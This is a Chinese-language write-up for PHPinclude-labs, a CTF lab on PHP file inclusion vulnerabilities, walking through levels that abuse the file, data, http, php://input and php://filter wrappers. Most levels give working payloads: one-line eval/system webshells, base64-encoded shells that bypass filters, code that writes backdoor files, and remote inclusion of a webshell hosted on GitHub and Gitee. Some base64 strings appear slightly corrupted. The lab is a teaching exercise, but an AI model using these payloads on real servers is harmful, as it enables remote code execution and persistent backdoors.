

PHPinclude-labs

WriteUp

Level 0 include_base

```
isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';
```

一个三目运算，其实等价于：

```
if (isset($_GET["wrappers"])) {  
    include($_GET["wrappers"]);  
} else {  
}
```

这是一个没有过滤，纯include的关卡，你可以在这个题目中测试你想要使用的包含姿势，当然关卡的文本在后面可能会有用（如果您的部署位置在非内网且支持多个容器）。

当然如果你对文件包含有些疑惑，请看下面的补充内容。

我们建议您同时参阅[【PHP手册·include 表达式包含并运行指定文件】](#) 结合这部分内容进行理解。

首先，您需要理解这个标题 —— "包含并运行指定文件",如果include包含一个 在[有效的 PHP 起始和结束标记](#)之中的 PHP代码它将被执行， 否则只会在页面上打印输出内容的文本形式。

然后您需要注意手册中的这几点：

"寻找路径的方式"： 被包含文件先按参数给出的路径寻找，如果没有给出目录（只有文件名）时则按照 [include_path](#) 指定的目录寻找。如果在 [include_path](#) 下没找到该文件则 `include` 最后才在调用脚本文件所在的目录和当前工作目录下寻找。

"路径定义的支持程度"： 如果定义了路径——不管是绝对路径（在 Windows 下以盘符或者 `\` 开头，在 Unix/Linux 下以 `/` 开头）还是当前目录的相对路径（以 `.` 或者 `..` 开头）——[include_path](#) 都会被完全忽略。例如一个文件以 `../` 开头，则解析器会在当前目录的父目录下寻找该文件。

Level 1 file协议

Level 1 ~ Level 9 为协议部分的知识关卡，这部分在PHP手册也叫封装协议 - [【PHP手册 - 支持的协议和封装协议\(wrappers\)】](#)

协议名称	功能	allow_url_fopen	allow_url_include	示例
file://	访问本地文件系统	Off/On	无	file:///flag
data://	数据 (RFC 2397)	On	On	data://text/plain,<?php phpinfo();?> data://text/plain;base64,PD9waHAgaGcw5mbygp0z8+
http://	访问 HTTP(s) 网址	On	On	https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
php://	访问各个输入/输出流 (I/O streams)	Off/On	基于参数	php://xxx

协议名称	功能	<code>allow_url_fopen</code>	<code>allow_url_include</code>	示例
<code>php://input</code>	访问请求的原始数据的只读流 (RAW 模式下 POST 中的 DATA 数据块)	Off/On	On	<code>php://input</code> + [POST DATA 部分]
<code>php://filter</code>	用于数据流打开时的筛选过滤应用	Off/On	Off/On	<code>php://filter/x=A\ B\ C\ /resource=xxx</code>
<code>zlib://</code> <code>compress.bzip2://</code> <code>zip://</code>	压缩流, 可以访问压缩文件中的子文件, 更重要的是不需要指定后缀名, 支持任意后缀。	Off/On	Off/On	<code>zip://[压缩文件绝对路径]#[压缩文件内的子文件名]</code> <code>compress.zlib://file.gz</code> <code>compress.bzip2://file.bz2</code>
<code>phar://</code>	PHP 归档		?	?

协议的介绍请跟进每个关卡中注释引导部分。

由于题目限定使用file协议: `include("file:///".$_GET['wrappers'])` 所以你只能使用绝对路径来完成题目, 当然, 题目使用 `__DIR__` 告知了你当前路径,

若按照题目提示 `?wrappers=/var/www/html/phpinfo.txt` 可以包含当前路径下的 `<?php phpinfo(); ?>` 您可以看到 phpinfo 页面, 虽然为.txt文本文件, 但文件内容符合php代码规范, 因此它能够被执行 —— 这一定说明, 被包含的文件是否能被执行只取决于其文件内容。

若按照题目提示 `?wrappers=/var/www/html/flag.php` 你会发现屏幕没有任何变化, F12查看源码也没有发现任何注释的新增, 这是因为 flag.php 中 flag以静态变量形式存储:

```
<?php $flag = "HelloCTF{Test_Flag}"; ?>
```

由于并没有输出操作, 它只会被加载到服务器或者说容器的内存中, 这种形式的FLAG您无法通过单纯包含得到。

本题 Flag 有文本形式, 只需要包含根目录下的 flag 文本即可: `?wrappers=/flag`

最终执行的操作语句: `include("file:///flag");`

Level 2 data协议

在注释引导中对该协议已经介绍的非常详细, 其支持文本和base64形式。

如果传入的数据是PHP代码, 就会执行代码:

```
data://text/plain,<?php phpinfo();?>

data://text/plain,<?php eval($_POST['helloctf']);?>

data://text/plain;base64,PD9waHAgaGcGhwaw5mbygpOz8+

data://text/plain;base64,PD9waHAgaGZXZhbCgkX1BPU1RbJ2h1bGxvY3RmJ10pOz8+

or data:text/plain
```

当然要注意，去包含data协议中的内容其实相当于进行了一次远程包含，所以data协议的利用条件需要 `php.ini` 中开启 `allow_url_fopen` 和 `allow_url_include`

题目限定使用data协议：`include("data://text/plain"._GET['wrappers'])`

本关卡的解法可以用引导中提供的一句话木马(文本和base64两种形式均可)：

GET: `?wrappers=,<?php eval($_POST['helloctf']);?>` 然后 **POST:** `helloctf=system('cat /flag');`

当然您也可以尝试去 `cat flag.php` 这不会执行该部分代码，但是结果可能会以注释的方式添加到当前页面，所以请注意查看源代码。

或者 建议使用 `tac` —— `tac`命令与`cat`命令展示内容相反，用于将文件以行为单位的反序输出，即第一行最后显示，最后一行先显示。

Level 3 data协议_2

该关卡添加了过滤，但依旧只能使用data协议，观察正则和可用字符：

```
<?php
$all_chars = array_merge(range(chr(32), chr(126)));

$regex = "/flag|\\~|\\!|\\@|\\#|\\\\$|\\\\%|\\\\^|\\\\&|\\\\*|\\\\(|\\\\)\\\\-|\\\\_|\\\\+|\\\\=|\\\\.|\\\\/|\\\\i";

echo "可用字符: ".$\n";
foreach ($all_chars as $char)
{
    if (!preg_match($regex, $char))
    {
        echo $char." ";
    }
}

?>
```

A-Za-z0-9的形式很明显符合Base64标准编码表，所以该关卡使用Base64的输入形式进行Bypass即可,但是要注意，由于 `=` 和 `+` 被过滤，在输入Payload的时候要注意不要出现 `+` 以及即时删除 `=`

根据base64解码规则和php中base64解码宽松性，`=` 在解码过程开始前会被移除，所以不会影响解码结果，但是`+`号作为码表的一部分移除会导致解码不正确，注意分别。

Payload:

GET: `?wrappers=;base64,PD9waHAgaXZhbCgkX1BPU1RBJ2h1bGwnXSsk7Pz4,`
POST: `hell=system('cat /flag');`

Level 4 http:// & https:// 协议

请先回顾引导区内容：

http/https 协议 (<https://www.php.net/manual/zh/wrappers.http.php>) — 常规 URL 形式，允许通过 HTTP 1.0 的 GET方法，以只读访问文件或资源，通常用于远程包含。

注意远程文件需要为可读的文本形式。

依赖: `allow_url_fopen:On;allow_url_include:On;`

由于本题提供了现成的文本后门，只需要考虑如何用http去包含即可 —— 127.0.0.1 就行。

当然已经用上了http协议，本关也可以自行包含其他远端上的PHP代码：

```
<?php @eval($_POST['a']); ?>
```

<https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI>

<https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI>

如果您有自己的vps也可以包含一个开放在web服务的文本文件：

<http://xxx.xxx.xxx.xxx/x.txt>

<http://domain.xxx/x.txt>

本题解法：GET: ?wrappers=127.0.0.1/backdoor.txt POST: ctf=system('cat /flag');

Level 5 http:// & https:// 协议_2

直接访问 challenge.txt :

```
" : die('Access Denied');?>
```

1==2 才能执行很明显不行（，本题使用远端包含：

```
<?php @eval($_POST['a']); ?>
```

<https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI>

<https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI>

本题解法：GET: ?wrappers=raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI POST: a=system('cat /flag');

Level 6 php:// 协议

php:// — 访问各个输入/输出流（I/O streams），PHP中最为复杂和强大的协议(<https://www.php.net/manual/zh/wrappers.php.php>)。

在CTF中经常使用的如下：

php://input - 可以访问请求的原始数据的只读流，在POST请求中访问POST的data部分，在enctype="multipart/form-data" 的时候php://input 是无效的。常用于执行代码。依赖：
allow_url_include:On

php://filter - (PHP_Version>=5.0.0)其参数会在该协议路径上进行传递，多个参数都可以在一个路径上传递，从而组成一个过滤链，常用于数据读取。

Demo 关卡，用于自由探索 php:// 协议，你可以使用下面任意一种方法通关（不唯一）：

```
php://input + [<?= system('tac flag.???');?>]  
php://input + [<?php fputs(fopen('backdoor.php','w'),'<?php @eval($_GET[ctf]); ?>'); ?>]
```

```
php://filter//resource=/flag
```

```
php://filter/read=convert.base64-encode/resource=flag.php
```

```
php://filter/convert.base64-encode/resource=flag.php
```

Level 7 php://input 协议

php://input - 可以访问请求的原始数据的只读流，在POST请求中访问POST的data部分，在enctype="multipart/form-data" 的时候php://input 是无效的。常用于执行代码。依赖：
allow_url_include:On

php://input做为include的直接参数时，如题，php执行时会将post内容当作文件内容，要注意，php://input不支持post提交，其请求的参数格式是原生(Raw)的内容，无法使用hackbar提交，因为hackbar不支持raw方式

题目已经提供对应答案：

```
<?php eval($_GET['ctf']); ?> /* 间接代码执行 */

<?php fputs(fopen('backdoor.php','w'),'<?php eval($_POST["ctf"]); ?>'); ?> /* 生成后门木马 */

<?= system('tac flag.???'); ?> /* 直接命令执行 */
```

Level 8 php://filter_过滤器&字符串过滤器

GET: ?wrappers=filter/string.rot13/resource=/flag

Level 9 php://filter_转换过滤器

GET: ?wrappers=filter/convert.base64-encode/resource=flag.php

Level 10 文件系统函数_file_get_contents()

我们常见的文件包含题目的大多数考点主要集中在类似 include() 函数（这里的类似强调的是 inclue、require、include_once、require_once）的调用上，除开直接的文本包含，更多还涉及到了一些封装协议(wrappers)的使用，比如 file 协议、data 协议、php 协议等等。

早在我们之前提及该部分对应文档【支持的协议和封装协议】<https://www.php.net/manual/zh/wrappers.php> 时，其中的这样一句话就有强调“PHP 带有很多内置 URL 风格的封装协议，可用于类似 fopen()、copy()、file_exists() 和 filesize() 的文件系统函数。”这些函数的特定——【文件系统·文件系统函数】<https://www.php.net/manual/zh/book.filesystem.php>。

所以在文件包含的题目中，除了include类型函数，其他文件系统函数也可以用来考察协议方面的内容，比如 file_put_contents(), file_get_contents(), file(), readfile() .etc。

file_get_contents 算是标准的Read行为，作为文件函数，他同样支持封装协议，由于题目要求输出的内容不能含有 flag 关键字，可以尝试字符串或者转换过滤器：

```
php://filter/string.toupper/resource=/flag （正则并没有匹配大小写）
php://filter/string.rot13/resource=/flag
php://filter/read=convert.base64-encode/resource=/flag
...
```

Level 11 文件系统函数_file_put_contents()

file_put_contents() 函数(<https://www.php.net/manual/zh/function.file-put-contents.php>) 这将对对应过滤器中的Write方法，用于将数据写入文件。

file_put_contents(\$filename,\$data) 其中 filename 是要被写入数据的文件名 —— 如果 filename 是 "scheme://..." 的格式，则被当成一个 URL，PHP 将搜索协议处理器（也被称为封装协议）来处理此模式。

```
function hello_ctf($filename,$data){
    if(preg_match("/flag|\~|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\||\_|\+|\=|\.|'"/,
    $data)){
        die("WAF!");
    }
    file_put_contents($filename,$data);
}
```

正则同 Level 3 中一样,那么写入一个Base64字符串即可。

Payload:

GET: ?filename=php://filter/write=convert.base64-decode/resource=backdoor.php

POST: data=PD9waHAgZXZhbCgkX1BPU1RbJ2h1bGwnXSsk7Pz4

```
backdoor.php : <?php eval($_POST['he11']);?>
```

Level 11- 封装协议解析

死亡绕过前置关卡，最早来源于P牛2016年的博客文章：<https://www.leavesongs.com/PENETRATION/php-filter-magic.html>

不过由于PHP版本的更新，string.strip_tags 已经被弃用。

注：该关卡没有FLAG.

【filter过滤器】:

string.rot13

string.strip_tags 去除html、PHP语言标签 (本特性已自 PHP 7.3.0 起废弃)

convert.base64-encode 和 convert.base64-decode

convert.iconv.<input-encoding>.<output-encoding> 或 convert.iconv.<input-encoding>/<output-encoding>

```
function helloctf($filter){
    $wrapper = "php://filter/read=".$filter."/resource=php://input";
    echo "This is what you got:."<br>";
    readfile($wrapper);
}
```

Level 11+ 死亡绕过

```
function hello_ctf($filename,$data){
    if(preg_match("/flag|\~|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\||\_|\+|\=|\./|'"/,
    $data)){
        die("WAF!");
    }
    file_put_contents($filename, "<?php die('GAME OVER!') ?>".$data);
}
```

The screenshot shows a web security tool interface with a 'Recipe' panel on the left and an 'Input'/'Output' panel on the right.

Recipe Panel:

- From Base64** (with pause and refresh icons)
- Alphabet: A-Za-z0-9+/=
- ☒ Remove non-alphabet chars
- ☐ Strict mode
- STEP** **BAKE!** ☒ Auto Bake

Input Panel:

Input: `<?php die('GAME OVER!') ?>`
Input: `aaPD9waHAgQGV2YWwoJF9QT1NUWydhdyddKTsgPz4` (A red arrow points to the start of this input string.)

Output Panel:

Output: `|SUB]•á•0C•DC1SYN•<?php @eval($_POST['aw']); ?>`

At the bottom, there are two status bars: one for 'rec 67' and another for 'rec 41' with a '2ms' timer.

对内容填充两个字符后可以使前方无效后方正常解析。

GET: ?filename=php://filter/write=convert.base64-decode/resource=shell.php

POST: data=aaPD9waHAgQGV2YWwoJF9QT1NUWydhdyddKTsgPz4

Level 12 LFI&&RFI

LFI - Local File Inclusion, 本地文件包含: 打开并包含本地文件的行为,比如我们后面会接触的日志文件包含, session文件包含, FilterChain等等。

本地文件包含是最常见的文件包含漏洞, 在前面关卡中几乎所有的演示都是LFI (比如包含phpinfo.txt, backdoor.txt这样的行为)。

try ?wrappers=<https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI>

RFI- Remote File Inclusion,远程文件包含: 读取并执行远程服务器上文件的行为, 相比于LFI, 远程服务器上文件的可控性更高, 因此危害更高, 但代价就是条件苛刻, 十分依赖 `allow_url_include` 参数。
HTTP/HTTPS 协议是最直观的远程文件包含形式, 当然一定意义上, 使用data协议去生成字符串然后包含也是一种远程文件包含。